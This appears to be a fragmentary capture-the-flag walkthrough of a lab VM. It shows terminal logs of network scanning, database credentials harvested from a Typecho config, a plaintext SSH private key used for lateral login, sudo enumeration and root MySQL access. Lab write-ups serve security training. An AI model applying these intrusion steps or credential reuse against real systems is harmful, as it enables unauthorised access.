❯ sudo arp-scan -l [sudo] password for Pepster: Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.60.1 00:50:56:c0:00:08 VMware, Inc. 192.168.60.2 00:50:56:e4:1a:e5 VMware, Inc. 192.168.60.165 08:00:27:3a:16:eb PCS Systemtechnik GmbH 192.168.60.254 00:50:56:e0:77:39 VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.042 seconds (125.37 hosts/sec). 4 responded ❯ export ip=192.168.60.165 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- RustScan: Making sure 'closed' isn't just a state of mind.
[~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.165:22 Open 192.168.60.165:80 [~] Starting Script(s) [~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-29 22:07 CST Initiating ARP Ping Scan at 22:07 Scanning 192.168.60.165 [1 port] Completed ARP Ping Scan at 22:07, 0.08s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 22:07 Completed Parallel DNS resolution of 1 host. at 22:07, 0.17s elapsed DNS resolution of 1 IPs took 0.17s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 22:07 Scanning 192.168.60.165 [2 ports] Discovered open port 80/tcp on 192.168.60.165 Discovered open port 22/tcp on 192.168.60.165 Completed SYN Stealth Scan at 22:07, 0.03s elapsed (2 total ports) Nmap scan report for 192.168.60.165 Host is up, received arp-response (0.00057s latency). Scanned at 2025-04-29 22:07:44 CST for 0s PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 08:00:27:3A:16:EB (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.47 seconds Raw packets sent: 3 (116B) | Rcvd: 3 (116B)
// config db $db = new \Typecho\Db('Pdo_Mysql', 'typecho_'); $db->addServer(array ( 'host' => 'localhost', 'port' => 3306, 'user' => 'typecho_u', 'password' => 'QLTkbviW71CSRZtGWIQdB6s', 'charset' => 'utf8mb4', 'database' => 'typecho_db', 'engine' => 'InnoDB', ), \Typecho\Db::READ | \Typecho\Db::WRITE); \Typecho\Db::set($db); /var/www/html/blog $ mysql -utypecho_u -pQLTkbviW71CSRZtGWIQdB6s mysql: Deprecated program name. It will be removed in a future release, use '/usr/bin/mariadb' instead Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 57 Server version: 11.4.5-MariaDB Alpine Linux
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h'forhelp. Type '\c' to clear the current input statement.
MariaDB [(none)]> use typecho_db Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A
/home $ cd /tmp/ /tmp $ vi id_rsa -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW QyNTUxOQAAACA1wn094phOqsfbo+o3CBYiN3xA16ymKSbX2UY32x/AEwAAAJgDc/YUA3P2 FAAAAAtzc2gtZWQyNTUxOQAAACA1wn094phOqsfbo+o3CBYiN3xA16ymKSbX2UY32x/AEw AAAECv7kfeoXOQCi5CRIWdHiDT5upKyY3vQxAlKmxEQzRZLDXCfT3imE6qx9uj6jcIFiI3 fEDXrKYpJtfZRjfbH8ATAAAAEnJvb3RAdGhlZmluYWxzLmhtdgECAw== -----END OPENSSH PRIVATE KEY----- /tmp $ chmod 600 id_rsa /tmp $ ssh [email protected] -i id_rsa The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established. ED25519 key fingerprint is SHA256:EzmhY2U9+FvurEu825jyirPaiFVcHNA2joTW03K3glk. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Could not create directory '/var/www/.ssh' (Permission denied). Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts). thefinals:~/cns_boardcast$ sudo -l Matching Defaults entries for scotty on thefinals: secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin Runas and Command-specific defaults for scotty: Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL" User scotty may run the following commands on thefinals: (ALL) NOPASSWD: /sbin/secret thefinals:~/cns_boardcast$ sudo /sbin/secret -h /sbin/secret: line 2: can't create /dev/pts/99: Permission denied thefinals:~/cns_boardcast$ sudo /sbin/secret /sbin/secret: line 2: can't create /dev/pts/99: Permission denied
报错了，显示无权操作该终端
得知终端 /dev/pts/99 不存在
1 2
thefinals:~/cns_boardcast$ ls -al /dev/pts/99 ls: /dev/pts/99: No such file or directory
thefinals:~$ mysql -uroot -pp8RuoQGTtlKLAjuF1Tpy5wX mysql: Deprecated program name. It will be removed in a future release, use '/usr/bin/mariadb' instead Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 268 Server version: 11.4.5-MariaDB Alpine Linux
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h'forhelp. Type '\c' to clear the current input statement.
MariaDB [(none)]> use secret Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A
Database changed MariaDB [secret]> show tables; +------------------+ | Tables_in_secret | +------------------+ | user | +------------------+ 1 row inset (0.001 sec)
